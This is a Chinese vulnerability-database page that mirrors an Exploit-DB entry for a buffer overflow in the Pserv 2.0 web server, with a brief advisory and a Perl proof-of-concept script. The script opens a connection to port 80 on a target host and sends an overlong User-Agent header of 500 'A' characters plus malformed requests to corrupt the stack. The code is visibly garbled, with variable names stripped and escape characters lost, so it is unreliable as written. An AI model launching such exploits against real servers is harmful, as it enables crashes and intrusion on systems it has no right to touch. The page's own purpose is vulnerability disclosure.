Pserv 2.0 – User-Agent HTTP Header Buffer Overflow (1)

admin 2021年4月9日01:01:26网络安全漏洞评论52阅读模式

Pserv 2.0 - User-Agent HTTP Header Buffer Overflow (1)

漏洞ID 1053654 漏洞类型
发布时间 2002-11-30 更新时间 2002-11-30
Pserv 2.0 – User-Agent HTTP Header Buffer Overflow (1)CVE编号 N/A
Pserv 2.0 – User-Agent HTTP Header Buffer Overflow (1)CNNVD-ID N/A
漏洞平台 Linux CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/22057
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/6286/info

A buffer overflow vulnerability has been reported in Pserv. The buffer overflow condition is due to the way Pserv handles data streams from remote connections. 

An attacker can exploit this vulnerability by issuing a HTTP request with an overly long User-Agent header. Due to insufficient buffers being allocated when processing the data, it may be possible to corrupt sensitive memory on the system stack.

#!/usr/bin/perl -w

use IO::Socket;

 = "Pserv 2.0 Beta 1, 2, 3, 5";

unless (@ARGV == 1) {
print "n By Sapient2003n";
die "usage: -bash <host to exploit>n";
}
print "n By Sapient2003n";

 = "A" x 500;

 = "GET / HTTP/1.0nUser-Agent: nn";
 = "GET / HTTP/1.0nn";
 = "GET / HTTP/1.nn";

 = IO::Socket::INET->new(
    PeerAddr => [0],
    PeerPort => 80,
    Proto    => "tcp",
) or die "Can't find host [0]n";
print  ;
print "Attempted to exploit User-Agent HTTP Headern";
close();

 = IO::Socket::INET->new(
    PeerAddr => [0],
    PeerPort => 80,
    Proto    => "tcp",
) or die "Can't find host [0]n";
print  ;
print "Attempted to exploit HTTP Request Parsingn";
close();

相关推荐: A1 HTTP服务器缓冲区溢出漏洞

A1 HTTP服务器缓冲区溢出漏洞 漏洞ID 1205820 漏洞类型 缓冲区溢出 发布时间 2001-05-03 更新时间 2001-05-03 CVE编号 CVE-2001-0285 CNNVD-ID CNNVD-200105-011 漏洞平台 N/A C…

相关文章
weinxin
我的微信
微信扫一扫
admin
  • 本文由 发表于 2021年4月9日01:01:26
  • 转载请保留本文链接:https://aqxbk.com/archives/security/securityvulns/2021/04_09/29084.html